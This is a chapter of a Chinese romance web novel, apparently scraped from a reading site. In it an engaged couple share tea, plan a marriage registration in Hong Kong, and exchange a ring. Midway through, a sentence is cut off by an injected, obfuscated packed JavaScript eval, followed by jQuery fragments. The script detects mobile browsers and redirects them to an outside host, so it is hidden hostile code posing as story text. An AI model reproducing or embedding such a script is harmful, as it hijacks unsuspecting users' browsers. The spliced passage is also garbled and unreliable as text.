默认冷灰
24号文字
方正启体

14. 纵你娇矜

作者:七予雾本书字数:K更新时间:
    参观结束,从画室出去,谢清慈在前,打算直接去茶话室。


    这层除了画室,就只剩下她的卧室以及一间小茶话室。


    别无去处,只能去后者。


    梁京濯跟在她身后,迁就她的步伐,放慢了脚步。


    窗外光线充足,照进来,走廊幽长,明暗版块拼接,她走在其中,背影纤直,乌发晃动在腰间。


    杂乱的脚步声逐渐趋于同频,谢清慈走至茶话室门前,推开门走了进去。


    “这里是个小茶话室,平时我爷爷奶奶过来会用,客用的一般在楼下。”


    楼上并没有待客的需要,但说完之后,她顿了一晌,今天他的身份好像也属于客人。


    嗯……即将不是客人的客人。


    她转头看了他一眼,笑了一下,带着他走了进去。


    刚在茶桌边落座,骆姨就端着茶具过来了,在桌上将东西放下,笑着问了声:“要我留下帮忙吗?”


    谢清慈觉得今天整个谢家庄园的人都不正常了,与她说话总带着点笑盈盈的打趣一般。


    她看了骆姨一眼,回道:“不用了,您去休息吧,我自己来。”


    骆姨跟在周女士身边多年,留下来,难免有监督刺探的嫌疑。


    骆姨笑着应一声好,摆好桌面,就走了出去。


    茶话室的门关上,梁京濯抬起头,看见了一副挂在对面墙上的画。


    画的是一个老年女性,坐在椅子上,笑容慈蔼地微微歪着头。


    谢清慈泡好茶,看见了梁京濯的目光,转过身看了一眼,解释道:“是我外婆。”


    那个与他外婆是多年故友的外婆。


    梁京濯收回视线,看向坐在对面的人,“你与你外婆感情很好。”


    并不专业的人也能看出笔法之下的深厚感情。


    谢清慈垂眸倒茶,低应一声:“嗯。”


    “我小时候在我外婆身边待得比较久。”


    那时候她的油彩课老师是沪城人,在界内很有名望,为了托上这层关系,周老爷子费了些功夫。


    搞艺术的都有点不太一样的傲性,钱权不忌一般并不是很领情,直到谢清慈去上了几节课,才转了态度。


    虽称不得有特别的天赋,但悟性高,也刻苦,可塑。


    这是那位老师的原话。


    后来为了方便上课,她中学时有很长一段时间是在沪城念的。


    梁京濯点了点头,看一眼她的表情,低声道:“抱歉。”


    谢清慈探臂给他斟茶,闻言神色不明地抬眸看他一眼,随后笑起来,“这有什么抱歉的?很多年了。”


    生老病死,人生之必经,她已经接受了。


    说完,看向从公道杯倒入杯中的茶汤,笑道:“如果没猜错,这应该是你上次给我奶奶准备的金骏眉。”


    刚听周女士说是谢老太太送来的,品相不错的金骏眉。


    那天她带回去,忘了和老太太说是梁京濯准备的,许是被她老人家当做是从哪收到的礼物了。


    “客人尝尝自带的茶。”她神情鲜活明动地邀他尝茶。


    梁京濯看着她嘴边的笑容,端杯抿了口茶汤,随后浅浅勾了下唇角,应一声:“嗯。”


    见他勾唇,谢清慈也跟着笑了起来,喝了口茶,想起周女士之前在楼下叮嘱的事情,“我是不是也需要去你一家趟?”


    梁京濯放下茶杯,“下旬去也是一样的。”


    “下旬?”谢清慈没明白什么意思。


    他点头,“嗯,我们做婚姻登记。”


    谢清慈微顿,“去港岛?”


    在此之前他们没有聊过这方面相关的事宜,她不知道流程。


    梁京濯看着她应道:“是,在港岛办理方便一些。”


    主要是庄女士认为港岛的婚姻登记更有仪式感一些,当初她自己就是考量了两边的办理流程,觉得女孩子还是会喜欢港岛那边的氛围一些。


    刚好他们做登记的时间在国庆日的前一天,还能让谢清慈在港岛玩几天。


    虽然梁京濯认为第二个原因要远胜于第一个,但他没有反对。


    “你方便吗?”


    那时候义展也结束了,又刚好接近小长假,临时多请假一天,应该是可以的。


    谢清慈点头,“方便的。”


    茶喝一半,谢清慈脑中忽然想起一件事,抬起头看向对面的人,抿唇顿了半晌,才启唇道:“还有一件事,我要征询一下你的意见。”


    梁京濯闻声抬头看过来,“你说。”


    谢清慈又沉吟了半晌,开口道:“我们结婚的消息,要不要先不和身边的人说?”


    梁京濯的目光顿了一晌,眉心微不可察地轻蹙一下,“你要与我隐婚?”


    “需要吗?”


    她不确定他是什么想法,所以想着问一下,在她毕业前不办婚礼,那就一切都还有退路。


    “不需要。”不假思索地回答,否决了她的这个提议。


    她看一眼他坚定的眼神,点头应一声:“好。”


    一壶茶快要喝完时,梁京濯接了通电话,港岛那边打来的。


    他说的粤语,腔调饱满圆润,谢清慈没听懂,默默无声坐在对面。


    她对于粤语这种方言的了解还仅限于各大热播的粤语剧,这还是第一次当面切实听到。


    但梁京濯说普通话时也同样很标准,没有一点地域性的口音,咬字清晰发音准确。


    陌生的语言好似忽然将面前的人都拉远了一些,她恍然明白过来,她要面对的,是一个全然陌生的环境与家庭。


    微微出神之际,想起他昨天和她说的——我们慢慢来。


    不一会,梁京濯接完了电话,放下手机,看向对面的谢清慈。


    她的视线停留在桌面飘散着薄雾的茶杯上,在神游。


    他看一眼她在茶汤浸润下愈显红润的唇,开口道:“我要去伦敦出差半个月。”


    刚刚港岛那边来电话,说的就是这件事,原本行程是在三日后,但如今出了点变故,需要提前。


    谢清慈闻声抬头,“今天?”


    他点头,“嗯,结束后我来接你。”


    半个月,差不多也要到他们领证的时间了,谢清慈点头应好。


    从茶话室出去,路过卧室门前,谢清慈脚步顿了一下,想起了什么,让梁京濯等她一下。


    说完,走进了卧室,再出来时手上多了份纸质报告。


    “这是我的体检报告,你抽空可以看一下。”


    本打算给他发电子版的,但既然他本人今天过来了,索性直接将纸质版给他了。


    应检项目,她都是健康的,没有问题。


    梁京濯看一眼她递过来的报告,伸手接过来,应了声:“好。”


    谢清慈笑一下,准备转身下楼,梁京濯忽然出言叫住了她,“我也有一件东西要给你。”


    她脚步再次停下,转身看过去。


    梁京濯从口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305331|182805||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    袋中拿出一个小盒子,“不知道你的手指尺寸,选了活口的,登记完再换新的。”


    说完,从盒子中将其中的那枚女戒取了出来。


    因为是对戒,款式并不如正式钻戒那样醒目,精巧的莫比乌斯环碎钻款,捏在他指尖,折射光线,耀眼璀璨。


    谢清慈愣了一下。


    他们刚讨论完要不要隐婚的问题,现在就要戴戒指了?


    她伸手打算接过,“好,谢谢。”


    伸出去的手没能触碰到戒指,取而代之是温热的指腹。


    梁京濯握住了她的手,托起来,轻缓地将戒指戴上她的无名指。


    微凉的铂金圈触碰肌肤,像是夏日里的一颗冰,很快被体表的温度感化,贴合指围。


    金属戒口合上,梁京濯看了眼最终定格的尺寸。


    那天牵她手的时候他还在担心自己的基础戒围是不是选大了,会不会最小的开口她也戴不上,现在看来好像是刚刚好。


    戒指是和项链一起买的,在他准备递卡买单时,SA不知怎么看出他是给伴侣买礼物,热心地给他推荐起了婚戒。


    看着在展示柜下熠熠生辉的戒指,他滞顿了片刻。


    他并不知道谢清慈的手指尺寸。


    SA看出了他的犹豫,拿出了一款他们店中这一季度的新款对戒,告诉他:“如果您担心尺寸不合适,可以选这款活口的,刚好日后若是买钻戒也好确定最终的准确戒围,直接定制就好了。”


    说完,又细心地给他解释他们品牌设计师的作品理念,“莫比乌斯环,象征无穷无尽,无始无终的循环爱意,寓意很好的。”


    他原本还不知道要在什么样的场合下给她,七夕那天第一次约会就送她戒指,他觉得不太好,于是只送了项链。


    直到今天,她说她的画被别人买走,加上那天钟叔说她很受欢迎。


    他决定还是今天将戒指给她。


    他的这位未婚妻,好像的确很受欢迎。


    不是为了宣誓什么主权,而是这样可以免掉一些麻烦,他是这样认为的。


    戒指戴好,谢清慈将手收回了回来,看一眼牢牢戴在无名指上的戒指,道了句:“很合适,谢谢。”


    “谢清慈。”他猝不及防地叫了她一声。


    她抬起头,“嗯?”


    “不用总是和我说谢谢。”


    他们之间不需要这个词。


    “……”谢清慈弯一弯唇,应了声:“好。”


    她今天化了个很适合她的妆容,在窗外光线照射下,更显明艳灵动。


    他的视线先是落在她小巧圆润的鼻尖上,接着往下移了少许,看向她粉润饱满的唇。


    握在手中的体检报告有些分量,沉重下坠。


    谢清慈莫名被他看得有些不自在,微微转动眼睛,看向一边,“我们……”


    该下楼了吧?


    话没说完,被身前的人打断,“我的婚检还没做。”


    她听清后笑了一下,“没关系,不着急。”


    她那天说了他的时间随意,反正领证时间还早,她只是刚好有空就提前做了。


    四下静谧,气氛安静了片刻,他动了动唇,问她:“是所有的亲密行为都要在有婚检报告的前提下吗?”


    谢清慈怔了一下,看过去的目光顿在他的脸上,好像已经猜出他接下来要说什么。


    落在她唇上的视线缓慢上移,看向她的眼睛。


    “包括亲吻吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)